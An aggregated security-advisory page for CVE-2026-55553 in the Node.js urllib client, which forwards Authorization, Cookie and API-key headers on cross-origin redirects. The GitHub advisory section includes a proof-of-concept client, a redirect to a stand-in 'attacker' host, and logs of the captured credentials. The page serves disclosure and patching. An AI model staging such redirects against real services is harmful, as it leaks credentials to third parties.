urllib: Cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage
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cve-program · CVE-2026-55553
Publishedurllib is an HTTP client for Node.js that supports authentication, redirects, timeouts, and other request features. Prior to 4.9.1 and 2.44.1, urllib follows redirects through followRedirect but reuses caller-supplied options across origins. In src/HttpClient.ts, #requestInternal recursively calls this.#requestInternal(nextUrl.href, options, requestContext), causing options.headers and auth or digestAuth values to be reused when the redirect target has a different scheme, host, or port. Authorization, Cookie, Proxy-Authorization, x-api-key, x-auth-token, and x-access-token can therefore be sent to an attacker-controlled redirected origin, exposing credentials intended for the original origin and potentially allowing reuse against the original partner API or related services. No user interaction is required. This issue is fixed in versions 2.44.1 and 4.9.1.
- Source published
- 25 Aug 2026 16:18:21 UTC
- Source modified
- 25 Aug 2026 18:25:40 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
euvd · EUVD-2026-65613
Publishedurllib is an HTTP client for Node.js that supports authentication, redirects, timeouts, and other request features. Prior to 4.9.1 and 2.44.1, urllib follows redirects through followRedirect but reuses caller-supplied options across origins. In src/HttpClient.ts, #requestInternal recursively calls this.#requestInternal(nextUrl.href, options, requestContext), causing options.headers and auth or digestAuth values to be reused when the redirect target has a different scheme, host, or port. Authorization, Cookie, Proxy-Authorization, x-api-key, x-auth-token, and x-access-token can therefore be sent to an attacker-controlled redirected origin, exposing credentials intended for the original origin and potentially allowing reuse against the original partner API or related services. No user interaction is required. This issue is fixed in versions 2.44.1 and 4.9.1.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 4:18:21 PM
dateUpdated: Aug 25, 2026, 6:25:40 PM
7 related source bulletins · separate from aliases
RHSA-2026:72712: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-5038 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-55553 · CVE-2026-59869 · CVE-2026-59879 · CVE-2026-82417 · CVE-2026-84375 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92000 · CVE-2026-92942 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92961
msrc_CVE-2026-55553: urllib: Cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage
CVE-2026-55553
RHSA-2026:76788: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-77413 · CVE-2026-77414 · CVE-2026-77415 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:79088: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.
CVE-2026-13697 · CVE-2026-14456 · CVE-2026-18798 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-63072 · CVE-2026-63076 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67422 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:72722: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-19534 · CVE-2026-47683 · CVE-2026-55553 · CVE-2026-56859 · CVE-2026-59869 · CVE-2026-82417 · CVE-2026-84375 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92000 · CVE-2026-92942 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92961
RHSA-2026:69248: Red Hat Security Advisory: Red Hat Developer Hub 1.9.9 release.
CVE-2026-19534 · CVE-2026-33818 · CVE-2026-54272 · CVE-2026-55553 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-67422 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-83605 · CVE-2026-83607 · CVE-2026-83608 · CVE-2026-83613 · CVE-2026-83614 · CVE-2026-83615 · CVE-2026-83616 · CVE-2026-83619 · CVE-2026-84292 · CVE-2026-84394 · CVE-2026-84961
RHSA-2026:82151: Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-54284 · CVE-2026-55553 · CVE-2026-59893 · CVE-2026-71491 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-88932 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
- Source published
- Aug 25, 2026, 4:18:21 PM (timezone not stated)
- Source modified
- Aug 25, 2026, 6:25:40 PM (timezone not stated)
- Saved here
- 20 Nov 2026 12:10:43 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-55553
Publishedurllib is an HTTP client for Node.js that supports authentication, redirects, timeouts, and other request features. Prior to 4.9.1 and 2.44.1, urllib follows redirects through followRedirect but reuses caller-supplied options across origins. In src/HttpClient.ts, #requestInternal recursively calls this.#requestInternal(nextUrl.href, options, requestContext), causing options.headers and auth or digestAuth values to be reused when the redirect target has a different scheme, host, or port. Authorization, Cookie, Proxy-Authorization, x-api-key, x-auth-token, and x-access-token can therefore be sent to an attacker-controlled redirected origin, exposing credentials intended for the original origin and potentially allowing reuse against the original partner API or related services. No user interaction is required. This issue is fixed in versions 2.44.1 and 4.9.1.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-200 · CWE-201 · CWE-522
Original publisher date fields
published: 2026-08-25T17:17:32.113
lastModified: 2026-09-09T21:07:31.353
- Source published
- 25 Aug 2026 17:17:32 UTC
- Source modified
- 9 Sep 2026 21:07:31 UTC
- Saved here
- 25 Oct 2026 14:19:05 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-hq3h-g68c-hp78
Published## Summary urllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`). If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect. ## Affected behavior Confirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)): ```ts // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) { if (res.headers.location) { requestContext.redirects++; const nextUrl = new URL(res.headers.location, requestUrl.href); // Ensure the response is consumed await response.body.arrayBuffer(); debug( 'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s', requestId, res.status, res.headers, res.timing, nextUrl.href, ); return await this.#requestInternal(nextUrl.href, options, requestContext); } } ``` The recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin. ## Redirect-header handling context The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision. ## Proof of Concept: 3-container topology The reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case. ```text [client container] [partner container] [attacker container] hostname: client hostname: partner hostname: attacker port: 3001 port: 3002 urllib v4.9.0 │ │ GET http://partner:3001/start │ + 6 credential-bearing headers ↓ 302 Location: http://attacker:3002/captured │ │ urllib follows redirect │ → DIFFERENT ORIGIN │ (different hostname and port) │ → all 6 headers preserved ↓ headers logged inside attacker container ``` The origin tuple is `(scheme, host, port)`: - source origin: `http://partner:3001` - destination origin: `http://attacker:3002` The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container. **Client invocation** (`client/poc.mjs`): ```javascript import urllib from 'urllib' // v4.9.0 await urllib.request('http://partner:3001/start', { followRedirect: true, maxRedirects: 5, headers: { 'Authorization': 'Bearer LIVE-AUTH-3CONTAINER', 'Cookie': 'session=LIVE-COOKIE-3CONTAINER', 'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER', 'x-api-key': 'sk-LIVE-3CONTAINER-x123', 'x-auth-token': 'auth-LIVE-3CONTAINER-y456', 'x-access-token': 'access-LIVE-3CONTAINER-z789', }, }) ``` **Observed result** urllib 4.9.0, Node.js 22.22.2, linux/arm64: ```text [attacker] CAPTURED HEADERS: "authorization": "Bearer LIVE-AUTH-3CONTAINER" "cookie": "session=LIVE-COOKIE-3CONTAINER" "proxy-authorization": "Bearer proxy-LIVE-3CONTAINER" "x-api-key": "sk-LIVE-3CONTAINER-x123" "x-auth-token": "auth-LIVE-3CONTAINER-y456" "x-access-token": "access-LIVE-3CONTAINER-z789" "user-agent": "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)" LEAK RATE: 6/6 ``` The `user-agent` value confirms that the redirected request was sent by urllib v4.9.0. ## Independent reproduction: multi-library comparison A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients: - same `partner:3001 → attacker:3002` redirect; - same six credential-bearing headers; - same RFC 6454 origin boundary. The results were deterministic across runs: | Library | Leak rate | Headers stripped on cross-origin redirect | |---|---:|---| | undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` | | needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` | | node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` | | superagent 10.3.0 | 4/6 | `authorization`, `cookie` | | @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` | | request 2.88.2 | 5/6 | `authorization` | | **urllib 4.9.0** | **6/6** | **none** | `urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`. The reproduction harness is small and can be shared if useful. ## Impact This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically. ```text 1. Application sends an authenticated request: GET https://api.partner.example/data Authorization: Bearer <token> Cookie: session=<session-id> 2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns: 302 Location: https://attacker.example/captured 3. urllib follows the redirect and sends the original Authorization and Cookie headers to attacker.example. ``` This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services. This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.
- Source published
- 25 Aug 2026 16:19:32 UTC
- Source modified
- 25 Aug 2026 23:49:20 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Publisher rating · HIGH